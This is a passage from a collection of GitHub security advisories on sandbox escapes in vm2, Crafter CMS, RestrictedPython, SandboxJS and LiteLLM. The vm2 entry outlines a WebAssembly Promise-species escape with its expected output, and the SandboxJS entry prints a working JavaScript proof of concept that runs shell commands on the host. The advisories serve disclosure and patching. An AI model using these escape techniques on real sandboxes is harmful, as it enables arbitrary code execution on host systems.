host-Promise path from the WebAssembly streaming APIs at all.\n\n\n\n## Root cause\n\nThe security boundary relies on vm2 keeping Promise objects that are reachable from sandbox code in one of two safe shapes:\n\n1. **Sandbox-realm Promise.** The Promise uses the sandbox\u0027s Promise prototype chain, so vm2\u0027s Promise hardening can pin species and sanitize callbacks.\n2. **Bridge-proxied host Promise.** The Promise is a host object crossing through vm2\u0027s membrane, so bridge traps and callback sanitizers apply.\n\n`WebAssembly.compileStreaming` and `WebAssembly.instantiateStreaming` introduce a third shape: a raw host-realm Promise path that is directly reachable from sandbox code and is not bridge-proxied. This is the same class of object that made the JSPI issue dangerous.\n\nThe exploitability depends on two facts being true at the same time:\n\n- the streaming WebAssembly API returns a Promise path whose relevant Promise machinery is host-realm rather than sandbox-realm; and\n- the rejection generated by passing an invalid streaming source is a host-realm `TypeError` from Node\u0027s WebAssembly streaming implementation.\n\nOnce that host error is delivered to attacker-controlled code, the usual host-realm constructor walk becomes possible:\n\n```js\nhostError.constructor.constructor(\u0027return process\u0027)()\n```\n\nThat expression resolves through the host `Function` constructor, not the sandbox one, because the error object is host-realm.\n\n\n\n## Exploit flow\n\nThe exploit flow is small, but the realm boundary is the important part:\n\n1. Sandbox code calls `WebAssembly.compileStreaming(0)`.\n2. The argument is not a valid `Response` or Promise resolving to a `Response`, so the returned Promise rejects.\n3. On Node 26, the rejection value is a host-realm error object.\n4. The attacker installs a controlled `constructor` accessor on the returned Promise and provides a custom `Symbol.species` constructor.\n5. Calling `p.finally(() =\u003e {})` reaches the species path used by `Promise.prototype.finally`.\n6. `NewPromiseCapability(F)` invokes the attacker-controlled constructor `F` and exposes the result capability functions.\n7. When the Promise rejects, the host-realm error is delivered to the attacker-controlled rejection path.\n8. The attacker uses the host error\u0027s constructor chain to recover host `process`.\n9. The PoC loads host `fs` through `process.mainModule.require(\u0027fs\u0027)` and writes a harmless marker file.\n\n`Promise.prototype.finally` is important because it is the remaining species-sensitive Promise combinator that is not pinned the same way as vm2\u0027s hardened `then`, `catch`, and static Promise helpers. However, simply wrapping the sandbox\u0027s `Promise.prototype.finally` is not sufficient for this bug: the dangerous Promise path is raw host-side Promise machinery, so the sandbox\u0027s own `finally` wrapper is not the method that protects this call. The dangerous source needs to be removed or safely wrapped.\n\n\n\n## Relationship to GHSA-6j2x-vhqr-qr7q\n\nThis is not the original JSPI path. Current HEAD removes `WebAssembly.promising` and `WebAssembly.Suspending`, and the old PoC is blocked.\n\nThe bypass here reaches the same unsafe Promise shape through a different source: `WebAssembly.compileStreaming` / `WebAssembly.instantiateStreaming`. That is why I am reporting it as an incomplete fix for the GHSA-6j2x class rather than as a duplicate of the already-fixed JSPI issue.\n\n\n## Proof of concept\n\nThe PoC is provided separately as:\n\n[escape-poc.js](https://github.com/user-attachments/files/28443205/escape-poc.js)\n\nThe PoC uses a default `new VM()` with no privileged objects exposed; the marker file is only a harmless proof that the sandboxed code recovered host-side capability.\n\nThe PoC performs four control checks first:\n\n```text\nprocess access: blocked\nrequire access: blocked\nconstructor process access: blocked\nconstructor require(fs): blocked\n```\n\nThen it runs the exploit path and verifies that the recovered process is the actual host process by comparing the recovered pid with the parent process pid.\n\nExpected vulnerable output on Node 26.2.0:\n\n```text\n[control] process access : blocked\n[control] require access : blocked\n[control] constructor process access : blocked\n[control] constructor require(fs) : blocked\n[exploit] host process reached : yes\n[exploit] host pid : \u003cpid\u003e\n[exploit] host pid matches parent pid: yes\n[exploit] host execPath : \u003cnode executable\u003e\n[exploit] host version : v26.2.0\n[exploit] marker file : created\n[result] VULNERABLE\n```\n\nExpected output on Node 24.15.0:\n\n```text\n[control] process access : blocked\n[control] require access : blocked\n[control] constructor process access : blocked\n[control] constructor require(fs) : blocked\n[exploit] host process reached : no\n[exploit] marker file : not created\n[result] not reproduced on this Node version\n```\n\nThe marker file contains only a proof string, the Node version, the pid, and a timestamp.\nAs a sanity check, I reproduced the Node 26 result from a fresh public clone at commit `7a1f5100b96f48d34e0fe104ab37c0acc5944f92`; `lib/` was unmodified, and only the PoC file was copied in.\n\n## Suggested fix\n\nThe minimal fix is to remove the remaining streaming WebAssembly APIs from the sandbox in the same WebAssembly hardening block that already removes the JSPI APIs.\n\n```js\nif (typeof WebAssembly.compileStreaming !== \u0027undefined\u0027) {\n localReflectDeleteProperty(WebAssembly, \u0027compileStreaming\u0027);\n}\nif (typeof WebAssembly.instantiateStreaming !== \u0027undefined\u0027) {\n localReflectDeleteProperty(WebAssembly, \u0027instantiateStreaming\u0027);\n}\n```\n\nThis patch works against the PoC on Node 26.2.0 and Node 24.15.0. With the patch applied, the streaming APIs are unavailable inside the sandbox, the PoC does not recover the host process, and the marker file is not written.\n\nTwo additional defense-in-depth change recommendations:\n\n1. Add a `Promise.prototype.finally` hardening path for consistency with the existing Promise hardening. This is not sufficient by itself for this bug, but it removes a known species-sensitive gap for sandbox-realm Promises.\n2. Add a regression/invariant test that checks sandbox-reachable Promise-producing intrinsics do not expose raw host-Promise paths outside the bridge.\n\nThe non-streaming WebAssembly Promise APIs was also checked. The end-to-end escape reproduced through `compileStreaming` and `instantiateStreaming`, but not through `compile` or `instantiate` in my tests. The minimal patch therefore removes the two confirmed exploitable streaming APIs, while the broader invariant remains that sandbox code should not receive raw host-Promise paths.\n\n## Regression tests\n\nThe regression test should cover both the direct fix and the end-to-end invariant:\n\n1. `WebAssembly.compileStreaming` is unavailable or safely wrapped inside `new VM()`.\n2. `WebAssembly.instantiateStreaming` is unavailable or safely wrapped inside `new VM()`.\n3. The PoC cannot recover host `process` on Node 26.\n4. Direct access to `process`, `require`, and constructor-based process access remains blocked.\n5. The `finally` + species primitive does not reach host `process` through any WebAssembly Promise-returning source.",
"id": "GHSA-wjwh-qqvp-g4p4",
"modified": "2026-10-05T22:34:22Z",
"published": "2026-10-05T22:34:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-wjwh-qqvp-g4p4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92956"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/cb85599e4470afa308e7c807b5c6b3ec9bf58b18"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/blob/415339f698f0d52d3c5ad358b12b79c8072d5b4b/lib/setup-sandbox.js#L510-L523"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.7"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/vm2-3.10.1-through-3.11.6-sandbox-escape-via-webassembly-compilestreaming"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "vm2 sandbox escape via WebAssembly.compileStreaming Promise species bypass"
}
GHSA-WQ3V-3GRQ-6F86
Vulnerability from github – Published: 2022-02-09 23:07 – Updated: 2021-04-13 18:25Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of Crafter CMS allows authenticated developers to execute OS commands via Groovy scripting. This issue affects: Crafter Software Crafter CMS 3.0 versions prior to 3.0.27; 3.1 versions prior to 3.1.7.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.craftercms:crafter-studio"
},
"ranges": [
{
"events": [
{
"introduced": "3.0"
},
{
"fixed": "3.0.27"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.craftercms:crafter-studio"
},
"ranges": [
{
"events": [
{
"introduced": "3.1"
},
{
"fixed": "3.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-25802"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2021-04-13T18:25:38Z",
"nvd_published_at": "2020-10-06T14:15:00Z",
"severity": "HIGH"
},
"details": "Improper Control of Dynamically-Managed Code Resources vulnerability in Crafter Studio of Crafter CMS allows authenticated developers to execute OS commands via Groovy scripting. This issue affects: Crafter Software Crafter CMS 3.0 versions prior to 3.0.27; 3.1 versions prior to 3.1.7.",
"id": "GHSA-wq3v-3grq-6f86",
"modified": "2021-04-13T18:25:38Z",
"published": "2022-02-09T23:07:55Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25802"
},
{
"type": "WEB",
"url": "https://docs.craftercms.org/en/3.1/security/advisory.html#cv-2020080101"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Improper Control of Dynamically-Managed Code Resources in Crafter CMS Crafter Studio"
}
GHSA-WQC8-X2PR-7JQH
Vulnerability from github – Published: 2023-07-10 21:53 – Updated: 2023-07-11 19:40Impact
RestrictedPython does not check access to stack frames and their attributes. Stack frames are accessible within at least generators and generator expressions, which are allowed inside RestrictedPython. An attacker with access to a RestrictedPython environment can write code that gets the current stack frame in a generator and then walk the stack all the way beyond the RestrictedPython invocation boundary, thus breaking out of the restricted scope allowing the call of unrestricted Python code and therefore potentially allowing arbitrary code execution in the Python interpreter.
All RestrictedPython deployments that allow untrusted users to write Python code in the RestrictedPython environment are at risk. In terms of Zope and Plone, this would mean deployments where the administrator allows untrusted users to create and/or edit objects of type Script (Python), DTML Method, DTML Document or Zope Page Template. This is a non-default configuration and likely to be extremely rare.
Patches
The problem has been fixed in releases 5.3 and 6.1.
Workarounds
There is no workaround available. If you cannot upgrade to the latest release you should ensure the RestrictedPython environment is only available for trusted users.
References
For more information
If you have any questions or comments about this advisory:
- Open an issue in the RestrictedPython issue tracker
- Email us at security@plone.org
Credits
Thanks for analysing and reporting the go to: - Nakul Choudhary (Quasar0147 on GitHub) - despawningbone on GitHub - Robert Xiao (nneonneo on GitHub)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "RestrictedPython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "RestrictedPython"
},
"ranges": [
{
"events": [
{
"introduced": "6.0a1.dev0"
},
{
"fixed": "6.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "restrictedpython"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-37271"
],
"database_specific": {
"cwe_ids": [
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-10T21:53:22Z",
"nvd_published_at": "2023-07-11T18:15:20Z",
"severity": "HIGH"
},
"details": "### Impact\n\nRestrictedPython does not check access to stack frames and their attributes. Stack frames are accessible within at least generators and generator expressions, which are allowed inside RestrictedPython. An attacker with access to a RestrictedPython environment can write code that gets the current stack frame in a generator and then walk the stack all the way beyond the RestrictedPython invocation boundary, thus breaking out of the restricted scope allowing the call of unrestricted Python code and therefore potentially allowing arbitrary code execution in the Python interpreter.\n\nAll RestrictedPython deployments that allow untrusted users to write Python code in the RestrictedPython environment are at risk. In terms of Zope and Plone, this would mean deployments where the administrator allows untrusted users to create and/or edit objects of type `Script (Python)`, `DTML Method`, `DTML Document` or `Zope Page Template`. This is a non-default configuration and likely to be extremely rare.\n\n### Patches\n\nThe problem has been fixed in releases 5.3 and 6.1.\n\n### Workarounds\n\nThere is no workaround available. If you cannot upgrade to the latest release you should ensure the RestrictedPython environment is only available for trusted users.\n\n### References\n\n- [RestrictedPython security advisory GHSA-wqc8-x2pr-7jqh](https://github.com/zopefoundation/RestrictedPython/security/advisories/GHSA-wqc8-x2pr-7jqh)\n\n## For more information\n\nIf you have any questions or comments about this advisory:\n\n- Open an issue in the [RestrictedPython issue tracker](https://github.com/zopefoundation/RestrictedPython/issues)\n- Email us at [security@plone.org](mailto:security@plone.org)\n\n## Credits\n\nThanks for analysing and reporting the go to:\n- Nakul Choudhary (Quasar0147 on GitHub)\n- despawningbone on GitHub\n- Robert Xiao (nneonneo on GitHub)",
"id": "GHSA-wqc8-x2pr-7jqh",
"modified": "2023-07-11T19:40:20Z",
"published": "2023-07-10T21:53:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/zopefoundation/RestrictedPython/security/advisories/GHSA-wqc8-x2pr-7jqh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37271"
},
{
"type": "WEB",
"url": "https://github.com/zopefoundation/RestrictedPython/commit/c8eca66ae49081f0016d2e1f094c3d72095ef531"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/restrictedpython/PYSEC-2023-118.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/zopefoundation/RestrictedPython"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "RestrictedPython vulnerable to arbitrary code execution via stack frame sandbox escape"
}
GHSA-WXHW-J4HC-FMQ6
Vulnerability from github – Published: 2026-01-27 19:55 – Updated: 2026-01-29 03:43Summary
A sandbox escape vulnerability due to AsyncFunction not being isolated in SandboxFunction
Details
The library attempts to sandbox code execution by replacing the global Function constructor with a safe, sandboxed version (SandboxFunction). This is handled in utils.ts by mapping Function to sandboxFunction within a map used for lookups.
However, the library did not include mappings for AsyncFunction, GeneratorFunction, and AsyncGeneratorFunction. These constructors are not global properties but can be accessed via the .constructor property of an instance (e.g., (async () => {}).constructor).
In executor.ts, property access is handled. When code running inside the sandbox accesses .constructor on an async function (which the sandbox allows creating), the executor retrieves the property value. Since AsyncFunction was not in the safe-replacement map, the executor returns the actual native host AsyncFunction constructor.
Constructors for functions in JavaScript (like Function, AsyncFunction) create functions that execute in the global scope. By obtaining the host AsyncFunction constructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution).
PoC
const sandbox = require('@nyariv/sandboxjs');
const s = new sandbox.default();
const payload = `
const af = async () => {};
// .constructor returns the host AsyncFunction constructor because it's not intercepted
const AsyncConstructor = af.constructor;
console.log("AsyncConstructor name:", AsyncConstructor.name);
// Create a function that executes outside the sandbox
const func = AsyncConstructor("return process.mainModule.require('child_process').execSync('id').toString()");
// Execute RCE
const p = func();
p.then(proc => {
console.log(proc);
});
`;
try {
s.compile(payload)().run();
} catch (e) {
console.error("Bypass failed:", e.message);
}
Run above script in nodejs. If you run it in browser, change the AsyncConstructor argument by returning window object.
Impact
A Remote Code Execution, attacker may be able to run an arbitrary code.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@nyariv/sandboxjs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.26"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-23830"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-913",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-01-27T19:55:11Z",
"nvd_published_at": "2026-01-28T00:15:50Z",
"severity": "CRITICAL"
},
"details": "### Summary\nA sandbox escape vulnerability due to `AsyncFunction` not being isolated in `SandboxFunction`\n\n### Details\n\nThe library attempts to sandbox code execution by replacing the global `Function` constructor with a safe, sandboxed version (`SandboxFunction`). This is handled in `utils.ts` by mapping `Function` to `sandboxFunction` within a map used for lookups.\n\nHowever, the library did not include mappings for `AsyncFunction`, `GeneratorFunction`, and `AsyncGeneratorFunction`. These constructors are not global properties but can be accessed via the `.constructor` property of an instance (e.g., `(async () =\u003e {}).constructor`).\n\nIn `executor.ts`, property access is handled. When code running inside the sandbox accesses `.constructor` on an async function (which the sandbox allows creating), the `executor` retrieves the property value. Since `AsyncFunction` was not in the safe-replacement map, the `executor` returns the actual native host `AsyncFunction` constructor.\n\nConstructors for functions in JavaScript (like `Function`, `AsyncFunction`) create functions that execute in the global scope. By obtaining the host `AsyncFunction` constructor, an attacker can create a new async function that executes entirely outside the sandbox context, bypassing all restrictions and gaining full access to the host environment (Remote Code Execution).\n\n### PoC\n\n```js\nconst sandbox = require(\u0027@nyariv/sandboxjs\u0027);\nconst s = new sandbox.default();\n\nconst payload = `\n const af = async () =\u003e {};\n // .constructor returns the host AsyncFunction constructor because it\u0027s not intercepted\n const AsyncConstructor = af.constructor;\n console.log(\"AsyncConstructor name:\", AsyncConstructor.name);\n \n // Create a function that executes outside the sandbox\n const func = AsyncConstructor(\"return process.mainModule.require(\u0027child_process\u0027).execSync(\u0027id\u0027).toString()\");\n \n // Execute RCE\n const p = func();\n p.then(proc =\u003e {\n console.log(proc);\n });\n`;\n\ntry {\n s.compile(payload)().run();\n} catch (e) {\n console.error(\"Bypass failed:\", e.message);\n}\n```\n\nRun above script in nodejs. If you run it in browser, change the `AsyncConstructor` argument by returning `window` object. \n\n### Impact\n\nA Remote Code Execution, attacker may be able to run an arbitrary code.",
"id": "GHSA-wxhw-j4hc-fmq6",
"modified": "2026-01-29T03:43:42Z",
"published": "2026-01-27T19:55:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/security/advisories/GHSA-wxhw-j4hc-fmq6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23830"
},
{
"type": "WEB",
"url": "https://github.com/nyariv/SandboxJS/commit/345aee6566e47979dee5c337b925b141e7f78ccd"
},
{
"type": "PACKAGE",
"url": "https://github.com/nyariv/SandboxJS"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SandboxJS has Sandbox Escape via Unprotected AsyncFunction Constructor"
}
GHSA-WXXX-GVQV-XP7P
Vulnerability from github – Published: 2026-05-11 16:17 – Updated: 2026-05-11 16:17Impact
The POST /guardrails/test_custom_code endpoint runs user-supplied Python inside a hand-rolled sandbox. The sandbox can be escaped using bytecode-level techniques, allowing arbitrary code execution in the proxy process — which runs as root in the default Docker image.
Reaching the endpoint requires a proxy-admin credential in default configurations.
Patches
Fixed in 1.83.11. The hand-rolled sandbox has been replaced with RestrictedPython. Upgrade to 1.83.11 or later.
Workarounds
If upgrading is not immediately possible, block POST /guardrails/test_custom_code at your reverse proxy or API gateway.
References
- Patched release:
v1.83.10-stable
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "litellm"
},
"ranges": [
{
"events": [
{
"introduced": "1.81.8"
},
{
"fixed": "1.83.10"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40217"
],
"database_specific": {
"cwe_ids": [
"CWE-420",
"CWE-913"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-11T16:17:23Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Impact\n\nThe `POST /guardrails/test_custom_code` endpoint runs user-supplied Python inside a hand-rolled sandbox. The sandbox can be escaped using bytecode-level techniques, allowing arbitrary code execution in the proxy process \u2014 which runs as root in the default Docker image.\n\n**Reaching the endpoint requires a proxy-admin credential** in default configurations.\n\n### Patches\n\nFixed in **`1.83.11`**. The hand-rolled sandbox has been replaced with `RestrictedPython`. Upgrade to `1.83.11` or later.\n\n### Workarounds\n\nIf upgrading is not immediately possible, block `POST /guardrails/test_custom_code` at your reverse proxy or API gateway.\n\n### References\n\n- Patched release: [`v1.83.10-stable`](https://github.com/BerriAI/litellm/releases/tag/v1.83.10-stable)",
"id": "GHSA-wxxx-gvqv-xp7p",
"modified": "2026-05-11T16:17:23Z",
"published": "2026-05-11T16:17:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/BerriAI/litellm/security/advisories/GHSA-wxxx-gvqv-xp7p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40217"
},
{
"type": "PACKAGE",
"url": "https://github.com/BerriAI/litellm"
},
{
"type": "WEB",
"url": "https://github.com/BerriAI/litellm/releases/tag/v1.83.10-stable"
},
{
"type": "WEB",
"url": "https://www.x41-dsec.de/lab/advisories/x41-2026-001-litellm"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "LiteLLM has a sandbox escape in custom-code guardrail"
}
Mitigation
Strategy: Input Validation
For any externally-influenced input, check the input against an allowlist of acceptable values.
Mitigation
Strategy: Refactoring
Refactor the code so that it does not need to be dynamically managed.
No CAPEC attack patterns related to this CWE.